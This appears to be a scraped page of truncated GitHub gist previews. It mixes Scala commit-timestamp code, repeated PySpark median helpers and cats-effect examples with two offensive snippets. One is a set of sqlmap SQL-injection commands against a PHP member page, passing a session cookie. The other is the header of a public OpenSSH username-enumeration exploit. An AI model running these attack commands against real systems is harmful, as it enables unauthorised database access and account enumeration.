This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private def monotonizeCommitTimestamps[T <: CommitMarker](commits: Array[T]): Array[T] = { | |
var i = 0 | |
val length = commits.length | |
while (i < length - 1) { | |
val prevTimestamp = commits(i).getTimestamp | |
assert(commits(i).getVersion < commits(i + 1).getVersion, "Unordered commits provided.") | |
if (prevTimestamp >= commits(i + 1).getTimestamp) { | |
logWarning(s"Found Delta commit ${commits(i).getVersion} with a timestamp $prevTimestamp " + | |
s"which is greater than the next commit timestamp ${commits(i + 1).getTimestamp}.") | |
commits(i + 1) = commits(i + 1).withTimestamp(prevTimestamp + 1).asInstanceOf[T] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private def monotonizeCommitTimestamps[T <: CommitMarker](commits: Array[T]): Array[T] = { | |
commits.tail.scanLeft(commits.head)((prev, current) => { | |
assert(prev.getVersion < current.getVersion, "Unordered commits provided.") | |
if (prev.getTimestamp >= current.getTimestamp) { | |
logWarning(s"Found Delta commit ${prev.getVersion} with a timestamp ${prev.getTimestamp} " + | |
s"which is greater than the next commit timestamp ${current.getTimestamp}.") | |
current.withTimestamp(prev.getTimestamp + 1).asInstanceOf[T] | |
} | |
else { | |
current |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
python sqlmap.py -u "https://www.example.com/bin/member.php?action=getmems&fid=-0" --cookie="PHPSESSID=e48eb70756a7870783108e8cb03b50a4;$Version=1" --dbs | |
python sqlmap.py -u "https://www.example.com/bin/member.php?action=getmems&fid=1" --cookie="PHPSESSID=e48eb70756a7870783108e8cb03b50a4;$Version=1" -p fid --dbs | |
python sqlmap.py -u "https://www.example.com/bin/member.php?action=getmems" --cookie="PHPSESSID=e48eb70756a7870783108e8cb03b50a4;$Version=1" -p fid --dbs | |
python sqlmap.py -u "https://www.example.com/bin/member.php?action=getmems&fid=1" --cookie="PHPSESSID=e48eb70756a7870783108e8cb03b50a4;$Version=1" -p fid --dbs | |
python sqlmap.py -u "https://www.example.com/bin/member.php?action=getmems" --cookie="PHPSESSID=e48eb70756a7870783108e8cb03b50a4;$Version=1" --dbs |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Exploit: OpenSSH 7.7 - Username Enumeration | |
# Author: Justin Gardner | |
# Date: 2018-08-20 | |
# Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz | |
# Affected Versions: OpenSSH version < 7.7 | |
# CVE: CVE-2018-15473 | |
########################################################################### | |
# ____ _____ _____ _ _ # | |
# / __ \ / ____/ ____| | | | # |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pyspark.sql.types import * | |
import pyspark.sql.functions as F | |
import numpy as np | |
def find_median(values): | |
try: | |
median = np.median(values) #get the median of values in a list in each row | |
return round(float(median),2) | |
except Exception: | |
return None #if there is anything wrong with the given values |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pyspark.sql.types import * | |
import pyspark.sql.functions as F | |
import numpy as np | |
def find_median(values): | |
try: | |
median = np.median(values) #get the median of values in a list in each row | |
return round(float(median),2) | |
except Exception: | |
return None #if there is anything wrong with the given values |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pyspark.sql.types import * | |
import pyspark.sql.functions as F | |
import numpy as np | |
def find_median(values): | |
try: | |
median = np.median(values) #get the median of values in a list in each row | |
return round(float(median),2) | |
except Exception: | |
return None #if there is anything wrong with the given values |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import cats.effect.IO | |
import cats.implicits._ | |
object CatsEffect2 extends App { | |
val printF = IO(println("Hi there!")) | |
val effects = for { | |
_ <- printF | |
_ <- printF | |
} yield () | |
effects.unsafeRunSync |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import cats.effect.IO | |
import cats.implicits._ | |
object CatsEffect extends App { | |
val effect = for { | |
_ <- IO(println("1")) | |
_ <- IO(println("2")) | |
} yield () | |
effect.unsafeRunSync | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import scala.concurrent.{Await, Future} | |
import scala.concurrent.ExecutionContext.Implicits.global | |
import scala.concurrent.duration._ | |
object FutureExample2 extends App { | |
val printF = Future { println("Hi there!") } | |
val futureObject = for { | |
_ <- printF | |
_ <- printF |